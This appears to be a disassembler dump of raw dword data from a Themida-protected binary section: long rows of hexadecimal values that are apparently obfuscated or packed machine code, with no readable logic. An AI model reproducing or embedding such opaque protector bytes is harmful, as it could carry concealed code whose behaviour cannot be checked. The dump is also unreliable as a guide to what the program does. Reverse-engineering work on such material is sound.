		dd 106AD0Ch, 3000000h, 0A910F9B5h, 65E906h, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 257F22C3h, 49C7A275h, 0DE8CD2Bh, 68000000h, 0C368EFC2h
		dd 3602CC19h, 0F7692F6Fh, 14418529h, 0E95F06A9h, 0Ch, 0C3AB99B6h
		dd 2150EEB2h, 0E31E249Eh, 0CB085C7h, 6ADh, 0B5030000h
		dd 6A91295h, 1840Fh, 8DFC0000h,	0A90F959Dh, 81B50906h
		dd 8106A917h, 0FFFEFF23h, 0D1BD8BFFh, 2B06A911h, 0A934B1B5h
		dd 0DB8C6606h, 3499B589h, 0C3F606A9h, 74840F04h, 0BF000000h
		dd 0E143B83h, 6A05D781h, 95FF4670h, 6A913CDh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 90C35040h, 10E1CC1h
		dd 0E99012B8h, 8, 0E5D32AC3h, 9A5D8C5Bh, 5D2ABE50h, 6A9051D1h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 0FE7CC357h, 43BA0BFCh, 5E942h, 0B0780000h
		dd 0E947E6EEh, 43Ch, 0E8F98B66h, 5, 0F483FCB6h,	0C5BD8BFDh
		dd 5E06A934h, 0BD8B00B0h, 6A92719h, 6A70E6h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 92C12EC3h
		dd 818E9AA1h, 1E229DEh,	6A71E462h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0F5BC356h
		dd 0BD2BD8B6h, 6A9116Dh, 6BAh, 0D18D8900h, 8B06A91Ch, 55006AC3h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 99D892AEh, 6E9h, 0CE7B8300h,	0C1DB8B2Ch, 6A04E8h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 410B59C3h, 0D366D0B4h, 893CF2E1h, 0A9151DB5h, 0E2F76606h
		dd 68B0Fh, 0BD8B0000h, 6A92CEDh, 6AD82Bh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0E9AC93C3h
		dd 0C2AB1250h, 0FBB70F60h, 8890F93h, 60000000h,	0B966DE8Bh
		dd 50612C35h, 5E9h, 17E81A00h, 6A93C633h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 0BE60C350h
		dd 106DB5FFh, 0BD8906A9h, 6A9119Dh, 2D9595FFh, 0B006A9h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 5CC35141h
		dd 60F15CEAh, 7E9h, 26D33D00h, 2CBF24C5h, 0DC99589h, 0E66106A9h
		dd 51006A70h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 31606D64h, 0A910B98Dh, 6840F06h,	31000000h
		dd 0A9177D95h, 71E46106h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 9DC35343h, 0C9A2FCAh,	8B0FE180h, 0
		dd 1EF5B529h, 613C06A9h, 24A830Fh, 0FF80000h, 6AD8B6h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 6BADFC3h, 6A000000h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 0FD93C353h,	8BBFFF05h
		dd 1880FF3h, 0F5000000h, 8166C38Bh, 0C15CE3EEh,	0C78104E8h
		dd 789295D1h, 6AE2F766h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 7887C353h, 603173D1h
		dd 81FAB70Fh, 0D9A487E9h, 0D82B614Ch, 1DC979BFh, 6A5811h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 0AF2435C3h, 0DE963C5h, 43000000h, 2B388238h,	8F7EDA2h
		dd 0F0486254h, 880FD82Bh, 17Ch,	0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 1AC35141h, 81669F76h, 0B96FF0CEh
		dd 7, 83F98B66h, 0B58B00C1h, 6A905B1h, 1A09BD8Bh, 0D93B06A9h
		dd 13A860Fh, 89600000h,	0A91F5585h, 6661F806h, 10E9D98Ch
		dd 0EE000000h, 0CA2FBADFh, 80F4A8D9h, 0F7D86039h, 0FC7240Dh
		dd 1F82h, 13E800h, 0A5D80000h, 0D96CBC6Ah, 0D75CD0AAh
		dd 0CC381D4Dh, 0E4BF913h, 59BD8936h, 5E06A909h,	0F04C1F6h
		dd 0CD84h, 68B0F00h, 89000000h,	0A92D05B5h, 0CD95FF06h
		dd 6A06A913h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 3BA6C351h, 890F3E3Bh, 6, 23719509h
		dd 6A5B06A9h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 0E5AC352h, 6AC32Bh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 7C13DC3h
		dd 85290EEBh, 6A93411h,	8343Dh,	3F860F00h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 0D73FC356h, 0FD411276h, 7D23A6FBh, 1DBDB58Bh, 6E906A9h
		dd 22000000h, 0A73ECFFCh, 22E940h, 0BF660000h, 0C08B50AAh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 8EC35545h
		dd 0D88BC38Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	34C35747h, 985804B5h, 0B334AA7h, 0A59589A3h, 0C706A908h
		dd 0A92D5D85h, 0F8A57506h, 6AC08B59h, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 0C08FC353h
		dd 2A7BDF75h, 76C428DBh, 81FEB70Fh, 0A9106DBDh,	7D006h
		dd 5F850F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 0D328C356h,	602E7163h
		dd 0BE9h, 3E053200h, 0FB617C9Dh, 1A89DDCAh, 12E9h, 0C5B6FB00h
		dd 5B4B4h, 0F3BEC291h, 0ECF99A6Ah, 61F32CD6h, 4FE9BF66h
		dd 106D85FFh, 850F06A9h, 6, 0CA55F681h,	0B5FF64F3h, 6A9106Dh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 18C35242h
		dd 0DB1F5B8Eh, 9595FF0Fh, 6A06A92Dh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0D771C353h
		dd 0D8414788h, 0F4B1D9Eh, 0D8Fh, 8E900h, 48370000h, 1551640Fh
		dd 0DF811D91h, 559D518Dh, 0CC187DBEh, 810F9056h, 0Ch, 11B5B50Bh
		dd 950106A9h, 6A92385h,	0CE6BDF81h, 6A0FCFh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 0FC4103C3h
		dd 0ED2984BEh, 4D9D8922h, 5306A902h, 2671BD89h,	0E85F06A9h
		dd 14h,	0CA262E56h, 0A72E599Ah,	8CA7C70h, 8F597D31h, 48635C1Ch
		dd 24D1BD0Bh, 0BF5E06A9h, 22FBAA9Eh, 38DB58Bh, 0B52906A9h
		dd 6A92965h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ah,	15C35545h, 0F4C39588h, 0B58BD7BDh, 6A927D9h, 3F98B66h
		dd 0A9236DBDh, 0D6816606h, 6A31A3h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 0E84A7AC3h
		dd 89BD2967h, 6A06A911h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 7F70C357h, 47837D63h
		dd 0BE912h, 0E50000h, 0E44856B1h, 0FBC84ADAh, 0F762E943h
		dd 6AFFFFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 52E133C3h, 0DE8DF63Ah, 3298D89h, 958906A9h
		dd 6A90511h, 57006A60h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 5606D636h, 0BD2B9487h, 6A908FDh
		dd 0FFFFFEB9h, 55006AFFh, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 0B60DB0Bh, 0A903E58Dh
		dd 358D8B06h, 6106A914h, 8D21DA8Bh, 6A91679h, 0A605B866h
		dd 22B18D21h, 8B6606A9h, 798D8BD0h, 6A06A916h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 0D860C353h, 0C7240DF7h, 0E183A1ABh, 27850F01h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 4875C351h, 0AAA30FDDh, 8F5B58Bh, 8D8B06A9h
		dd 6A922B1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Bh,	96C35545h, 0B658C2F3h, 0F87346F4h, 0F01E183h, 685h
		dd 0D958900h, 6106A901h, 13E960h, 3C9D0000h, 3E6C0B1Eh
		dd 3E7C8A6h, 21A6D9C0h,	4731F214h, 0FFFEB9E0h, 6AFFFFh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 48052CC3h, 1CB1B58Bh, 8D2106A9h, 6A91379h, 21F6BF0Fh
		dd 0A926058Dh, 0FFB70F06h, 13798D8Bh, 6E806A9h,	6E000000h
		dd 0B61353F7h, 0F28B664Dh, 1E1835Ah, 2B850Fh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 2BB12FC3h, 9C8D9C55h, 8B7F7805h, 0A9211185h,	58D8B06h
		dd 6A06A926h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 892FC357h, 0A9215995h,	1E18306h
		dd 30850Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 74699AC3h, 0F11B980h, 68F0Fh, 0B5890000h
		dd 6A92189h, 6061D08Bh,	10B99D23h, 0FEB906A9h, 6AFFFFFFh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 983CC353h, 0D780CD7Bh, 7D8D2127h,	2106A929h
		dd 0A90F958Dh, 0FABF0F06h, 297D8D8Bh, 6A06A9h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 0E183DBC3h, 5850F01h, 0BE000000h, 7740E1A0h,	0F958D8Bh
		dd 6A06A9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 0E183C7C3h, 6850F01h, 8B000000h, 0A920499Dh
		dd 0F606106h, 0FEB9F2BFh, 6AFFFFFFh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 59F1C351h
		dd 0F30AE4Bh, 8D21D3BFh, 6A91FC1h, 2D5D8D21h, 6A06A9h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 895E27C3h, 0A90175BDh, 0C18D8B06h, 0E806A91Fh, 12h
		dd 9D0C0DEFh, 0E1BEC0F2h, 7654ECF7h, 6036D61h, 0BD8B3E39h
		dd 6A9266Dh, 1E1835Bh, 1D850Fh,	6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 8BC13EC3h, 0A92D5D8Dh, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 0B69FB7Eh
		dd 9FEF4FB1h, 14E9145Ch, 0F3000000h, 6881BC95h,	7D3A2395h
		dd 4D860154h, 5A5683D6h, 0B4DD8785h, 1E18337h, 850Fh, 60610000h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0C0C35141h
		dd 0CC08160h, 570F7BC2h, 880Fh,	61580000h, 0B498589h, 85C706A9h
		dd 6A9106Dh, 7D0h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 42C35242h, 0E8577F04h, 612BF0EAh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 30C35343h, 894D4A01h
		dd 0A912099Dh, 6107EB06h, 0E99Dh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 1E008CC3h
		dd 4E49E0A7h, 6A30E3h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 79EBD8C3h, 98D3AF82h, 880Fh, 0C18B0000h
		dd 75E9h, 8C666000h, 0F04A8D8h,	3584h, 0FF016A00h, 0A90155B5h
		dd 0FC858D06h, 0FF06AC73h, 918589D0h, 8B06A935h, 0CEFC1FEh
		dd 4000068h, 6A006A20h,	0D685702h, 0FF000100h, 0A9359195h
		dd 32E906h, 85C60000h, 6A916B1h, 30DF6856h, 0B5FFA9C5h
		dd 6A910B5h, 73FC858Dh,	0D0FF06ACh, 33218589h, 858D06A9h
		dd 6A926CDh, 6A206A50h,	95FF5605h, 6A93321h, 0E0C1C361h
		dd 8F4FEB06h, 0ABFA251Ch, 0DAC6A108h, 0D41CA4ACh, 0E45C5CD2h
		dd 3134CE00h, 27CE1BF5h, 34D129B3h, 2AC7DD5Bh, 1BCE17E6h
		dd 0DB6734DFh, 83BA00A6h, 0EA1A0047h, 0D5A3h, 199C0000h
		dd 0FECAh, 0FBFE4Ah, 0B4870000h, 202352DDh, 339C9ED9h
		dd 8DE977E7h, 6A00000Fh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 3CECC356h, 0FD9E38DFh
		dd 12ADBD83h, 0F0006A9h, 3B85h,	798D8900h, 0B806A921h
		dd 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 61C35040h
		dd 29C99589h, 0F9B906A9h, 0C232D196h, 95890004h, 6A91D29h
		dd 0B966C08Bh, 0BD83B441h, 6A9131Dh, 83097500h,	0A91431BDh
		dd 13740006h, 0C08B5350h, 4D0B8h, 309D8D00h, 0FF06ABB2h
		dd 83585BD3h, 0A91431BDh, 11740006h, 0D0B85350h, 8D000004h
		dd 0ABB17D9Dh, 5BD3FF06h, 0D58D8B58h, 8106A91Dh, 0D9CFF7D2h
		dd 81C08B28h, 0DFDF28F1h, 858DF535h, 6AD1C59h, 2181958Bh
		dd 0BA6606A9h, 0E990E66Ch, 0Ch,	4C8F093Ah, 0FEDDF10Eh
		dd 0A27EA853h, 14E99050h, 11000000h, 47A61725h,	8E428F5Fh
		dd 61C79BDh, 1ACE01CCh,	8D5A7736h, 0AD1C1685h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 7C29FA61h, 0FA49E44Dh, 0B70F1541h, 87D181FFh, 902EE43Dh
		dd 0CE8h, 0DEEB900h, 19532515h,	95177A3Ch, 0AE86048h, 0A6000000h
		dd 6A967AD5h, 5ED03CCFh, 8B665AEEh, 505A61F3h, 7E8h, 0C502B500h
		dd 4A58A98h, 5E9h, 39752200h, 9059A383h, 5898D8Bh, 95FF06A9h
		dd 6A911ADh, 11DF8166h,	24448B6Eh, 0EE95204h, 0FD000000h
		dd 514F53F3h, 0B986B5EEh, 2843686Fh, 85895FFCh,	6AD1C41h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0D2C35545h
		dd 0F860199Fh, 0B5891142h, 6A91409h, 824448Bh, 21998589h
		dd 816606A9h, 8956A2F7h, 0AD1C5585h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 668E7D84h
		dd 5790DCB1h, 35BD2993h, 8306A91Fh, 0A91E1DBDh,	850F0006h
		dd 12Fh, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 15h,	0BCC35747h, 0F9BF0F45h,	0B392AABFh, 0B185C636h
		dd 4706A916h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 15h,	13C35141h, 8D296016h, 6A9256Dh,	4E861h,	0A7D20000h
		dd 5250D49Ah, 698E6BAh,	50310F72h, 0F525052h, 0F585A31h
		dd 5A585A31h, 14E85058h, 32000000h, 55524A64h, 0ADF0FC3Dh
		dd 0CC8E03B5h, 3E5A1909h, 5AA76B04h, 424448Bh, 8BCF8Bh
		dd 0AA7679B9h, 2444896Dh, 0D68B6604h, 57006A58h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
		dd 0CF94BA22h, 2FBC9BC6h, 27E58D31h, 0B5FF06A9h, 6A910B5h
		dd 7977BF66h, 0AE9h, 19E8FC00h,	6937DA6Bh, 8D6489EFh, 0AC73FC85h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 9B40D7F9h, 0BD8B43A6h, 6A92275h,	8D89D0FFh
		dd 6A900CDh, 0EABAF4BAh, 1D858961h, 0F06A91Eh, 68Fh, 4D958900h
		dd 8306A91Ah, 0A91221BDh, 850F0006h, 7Eh, 85C6F98Bh, 6A916B1h
		dd 18D0F47h, 0FC000000h, 9DEF4168h, 5752503Ah, 0F5FD38Ah
		dd 0A217B931h, 585A52B6h, 0A1240481h, 6A4F71C6h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 98B8C352h, 0CB7F4807h, 10B5B5FFh, 0AE906A9h,	2D000000h
		dd 8184DA46h, 8672D060h, 0FC858DF8h, 106AC73h, 0A90CADB5h
		dd 0FD0FF06h, 8589CBB7h, 6A91221h, 1371958Bh, 0BD8306A9h
		dd 6A90611h, 1E850F00h,	6A000001h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 7C56C350h
		dd 14DD9D29h, 0BD8B06A9h, 6A917CDh, 16B185C6h, 6A5606A9h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 169EC357h, 13E8h,	99C50D00h, 55631758h, 0F3911344h
		dd 0AC7D8247h, 8BA51BB3h, 0E85ACB8Bh, 4, 0D41F6D39h, 1DB5EFBFh
		dd 50515006h, 8E952h, 3B290000h, 7C47BD64h, 310F7273h
		dd 0D2D5B966h, 8B5A585Ah, 66042444h, 8BD68Bh, 6455B966h
		dd 4244489h, 58A0Fh, 2BBA0000h,	584576A7h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 31C35343h, 6212D169h
		dd 2DC9DF81h, 0B5FF7C35h, 6A910B5h, 16D59589h, 858D06A9h
		dd 6AC73FCh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 19h,	65C35141h, 35EC063Ch, 0FFC88BFAh, 258529D0h, 8906A933h
		dd 0A9061185h, 8D8B5206h, 6A928CDh, 0B185C65Ah,	6C06A916h
		dd 8E8h, 67945200h, 742DEBEh, 79BD8992h, 5F06A910h, 0AB68D08Ah
		dd 66E7E79Ah, 81B101BAh, 0EA282434h, 66FC3CE2h,	0FF0D6EB9h
		dd 0A90155B5h, 359D8906h, 8D06A90Fh, 0A93C2685h, 218D8906h
		dd 0FF06A90Fh, 69952BD0h, 8906A908h, 0AD1C4585h, 0CBBF0F06h
		dd 1C61BD83h, 0F0006ADh, 0D985h, 0A5958900h, 0C606A901h
		dd 0A916B185h, 958B4906h, 6A907B9h, 1F350268h, 0F860F16h
		dd 50000000h, 0C88B6652h, 8F0F310Fh, 0
		dd 481585Ah, 0F5F4E724h, 56006A75h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 84824C63h, 55B5FFE9h
		dd 6A06A901h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 0FE12C350h, 1125BD8Bh,	858D06A9h
		dd 6A93C26h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 16h,	0D2C35343h, 8589D211h, 6A93311h, 0FFF9B70Fh, 11E8D0h
		dd 5D510000h, 294F1B4Dh, 320D8D3Fh, 5D52821Ah, 0E9A7DDB0h
		dd 0Bh,	58729AFDh, 0C1C1F46h, 5F705FE2h, 1C618589h, 46A06ADh
		dd 68D7B70Fh, 811AD937h, 0F98B5250h, 585A310Fh,	0C9240481h
		dd 667EE536h, 0E8F49EBFh, 4, 10000h, 0C44E3FB9h, 5051502Ch
		dd 0CE852h, 0F200000h, 0D843D8CCh, 5B0824C0h, 0F598D81h
		dd 0F525031h, 5A585A31h, 448B5A58h, 8B660424h, 66008BD0h
		dd 4489FB8Bh, 0BA660424h, 60589F67h, 20B1BD03h,	61F906A9h
		dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 3EAA47C3h, 0D98589D4h, 2306A91Ch,	0A914218Dh
		dd 0D95FF06h, 6606A927h, 89CD4DBAh, 0AD1C5185h,	56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 0F14F7327h, 0C736542Ch, 0AD1C4985h, 6, 9D952300h, 6A06A907h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 9A90490Ah, 0A885B517h, 6686390h,	604F9CF8h
		dd 5E585753h, 0F525050h, 5A585A31h, 24348161h, 4F9DF806h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0F6C35242h
		dd 0ECA5A2F3h, 4FE57FE2h, 32C5BD09h, 509006A9h,	60310F52h
		dd 91BBD08Bh, 6168B53Bh, 6050585Ah, 14E850h, 0AD580000h
		dd 181CEB4Dh, 0AEF3A229h, 354CAC48h, 583351DAh,	5E5E60A1h
		dd 0F525060h, 0E9585A31h, 0Fh, 9EE147E8h, 0F487F664h, 28A8CDE1h
		dd 61F1C0ABh, 8D099061h, 6A924E1h, 0CE8B0B6Ah, 1C1E858Dh
		dd 56B606ADh, 38C0F90h,	66000000h, 6650D38Bh, 903254BFh
		dd 95FFF98Bh, 6A91E1Dh,	2E91B529h, 0B58D06A9h, 6AD1C28h
		dd 31F5BD89h, 609606A9h, 1909BA66h, 5061A6B2h, 96D18B66h
		dd 5E8h, 50643000h, 0BE9BE87h, 31000000h, 23151B83h, 51EAABBAh
		dd 505F6F63h, 89C88B66h
dword_589D68	dd 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
					; DATA XREF: Themida_:005694C2o
		dd 55450000h, 0FF8017C3h, 0A9122195h, 0BE666006h, 0BD8994E1h
		dd 6A91DD1h, 0FC00B61h,	0D85h, 0E9BAB200h, 508h, 11C9BD89h
		dd 0D0FF06A9h, 8BD1BF0Fh, 0AD1C51B5h, 55006A06h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
		dd 0FA1CADE1h, 8D174CA6h, 8D292046h, 6A90B75h, 6A046Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 0A67907C3h, 60C5DAC1h, 0E95050F4h, 6, 0EEBEF7F3h, 895A3244h
		dd 0BF0F2404h, 6195FFCEh, 0F06AD1Ch, 168Bh, 0AE800h, 0B9680000h
		dd 6C55BBE9h, 0C72824E0h, 658531h, 0B5F06A9h, 4B840FC0h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 0F46FC357h, 0FAC8C389h, 20CD9501h
		dd 0D58006A9h, 43AE9BBh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 7E80E6C3h, 840F0020h
		dd 414h, 8160FB8Bh, 4BE3DAF2h, 0C826BF2Eh, 468D6FB2h, 998D8920h
		dd 8906A90Fh, 0AD1C4D85h, 11858906h, 6606A912h,	0E9AFAFBAh
		dd 0E4h, 0C259B966h, 5A519040h,	5B11BF50h, 6A9055DBh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 0EF46C350h, 0BF58A26Ch, 62160092h, 6A046Ah, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 0E91D04C3h, 0C998D29h, 0CE906A9h, 39000000h,	48A7B6DDh
		dd 868D2E1Fh, 90D3E941h, 11860Fh, 0CE90000h, 1B000000h
		dd 0C0897329h, 179FB02Fh, 50C21660h, 2880Fh, 0F88B0000h
		dd 8AE78190h, 0FF75B059h, 0AD1C6195h, 89958B06h, 8906A92Ch
		dd 0A905C195h, 0FD88B06h, 285h,	58D48A00h, 266FFB9h, 0FDB0B56h
		dd 2784h, 25E9F800h, 6A000003h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 83C6C350h, 166A77C6h
		dd 0F003880h, 0FFFF1785h, 0E2D680FFh, 2EE9h, 0C19D8900h
		dd 2906A90Ch, 0A934BD95h, 6A4806h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 71557EC3h, 3BD38A88h
		dd 0AD1C4D85h, 31820F06h, 0F000000h, 80h, 5C388000h, 22840Fh
		dd 0E9600000h, 9, 0C93890B7h, 0D950F6C7h, 0DF8B6656h, 2F388061h
		dd 0FFA7850Fh, 8D89FFFFh, 6A92A5Dh, 0FE840h, 82F50000h
		dd 7DDCCC53h, 0C94D4B96h, 4D2EDF82h, 5FB3B2EEh,	1C55BD83h
		dd 0F0006ADh, 11A84h, 0D78B6600h, 9BB96650h, 240489B6h
		dd 3DBD0160h, 8B06A913h, 0A9344585h, 85036106h,	6AD1C55h
		dd 63D958Bh, 0BF9006A9h, 58545004h, 0CB79BF50h,	0F903813h
		dd 46AD1B7h, 34A9BD89h,	958906A9h, 6A91A4Dh, 60B65690h
		dd 9EB9505Ah, 9072B1FBh, 77C18166h, 6195FF73h, 6A06AD1Ch
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 2864C355h, 0E6C55807h, 6DBD89ACh,	8B06A911h
		dd 0ED9D31D8h, 5806A922h, 0FDB0BF5h, 3584h, 0CB8B6600h
		dd 1C7E9h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1504h, 0C3564600h, 0F606FDBh, 688h, 6D958B00h, 8A06A929h
		dd 0C661E1h, 50006A00h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1C04h, 0C3504000h, 89315C2Ah, 0E9BBADC6h, 38E0F85h
		dd 0F000000h, 6A58FFBFh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 6D9EC350h, 908A83EAh
		dd 7593BF66h, 1E6A9050h, 34EF8166h, 0B86050D0h,	599D7435h
		dd 61D08B66h, 81240489h, 19EFCBF1h, 6195FF01h, 8906AD1Ch
		dd 0A906559Dh, 0E9D88B06h, 5, 0E3CDAA54h, 0ADB158F9h, 25299509h
		dd 0DB0B06A9h, 2E840Fh,	6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 0CD4CE4C3h, 0A0C98166h
		dd 0D6E957h, 0BD010000h, 6A904F9h, 3880F90h, 66000000h
		dd 5150CA8Bh, 905913B2h, 29959D89h, 858906A9h, 6A913C9h
		dd 1C41B5FFh, 0C28106ADh, 2CBDA34Ah, 20C28166h,	4595FF49h
		dd 8906AD1Ch, 0A908B595h, 0FC00B06h, 7185h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 0AA98E5FEh, 0EEBFDDA9h, 0E97AC7B8h, 0Dh, 0D9C003E7h
		dd 0F21421A6h, 29E04731h, 0BD89619Ah, 6A90595h,	1C4985C7h
		dd 106ADh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 0E91FD0C3h, 24h,	595BD89h, 0F6106A9h
		dd 685h, 7D9D2900h, 8106A925h, 11CC6h, 0FB31E900h, 8D8BFFFFh
		dd 6A9293Dh, 4E8h, 800000h, 48D0F00h, 66000000h, 50F2E3B9h
		dd 5A13B157h, 424448Bh,	0A06080BAh, 8A008B09h, 244489ECh
		dd 0CA8B6604h, 56006A58h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 0C0AB28A8h, 6A99B5h, 3289BD89h
		dd 67BA06A9h, 0FF01701Bh, 0AD1C51B5h, 13880F06h, 0E9000000h
		dd 0Eh,	0D59723A0h, 4E59FAF1h, 77047AF3h, 8A0FCF48h, 5
		dd 0D315C7BAh, 1195FF37h, 8B06A906h, 0A9105595h, 49858B06h
		dd 6A06AD1Ch, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 48CEC352h, 0B589F14Ch,	6A90075h
		dd 0E1B3BF66h, 17BF6650h, 24048995h, 59FDBF66h,	1C59858Dh
		dd 0BD8B06ADh, 6A92219h, 50F18A90h, 2D8D8B90h, 8D06A91Eh
		dd 0AD1C1685h, 6E906h, 0D65C0000h, 89A2EFDCh, 89D78B50h
		dd 81662404h, 0FF8256D2h, 0A9219195h, 8D8B5206h, 6A91119h
